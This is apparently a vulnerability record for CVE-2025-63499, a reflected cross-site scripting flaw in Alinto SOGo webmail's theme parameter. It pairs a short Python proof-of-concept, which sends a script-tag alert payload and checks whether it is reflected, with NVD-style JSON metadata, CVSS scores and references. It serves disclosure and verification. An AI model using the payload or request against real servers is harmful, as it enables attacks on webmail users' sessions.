CVE-2025-63499

import requests # CVE-2025-63499 PoC - Alinto SOGo XSS via theme parameter target_url = "http://target-server/SOGo/so/[email protected]/Mail/view" payload = "'<ScRiPt>alert(9998)</ScRiPt>" params = { 'theme': payload } response = requests.get(target_url, params=params) # Check if payload is reflected in response if payload in response.text: print("[+] XSS vulnerability confirmed!") print(f"[+] Malicious URL: {response.url}") else: print("[-] Payload not found in response")

{"cve": {"id": "CVE-2025-63499", "sourceIdentifier": "[email protected]", "published": "2025-12-04T20:16:19.363", "lastModified": "2025-12-18T20:24:18.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Alinto Sogo 5.12.3 is vulnerable to Cross Site Scripting (XSS) via the theme parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alinto:sogo:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.12.4", "matchCriteriaId": "DF445329-81B4-42D8-B6C6-85C50F7A3A92"}]}]}], "references": [{"url": "https://email.example.com/SOGo/so/[email protected]/Mail/view?theme=%27%3CScRiPt%20%3Ealert%289998%29%3C%2FScRiPt%3E", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/poblaguev-tot/CVE-2025-63499", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/poblaguev-tot/CVE-2025-63499", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}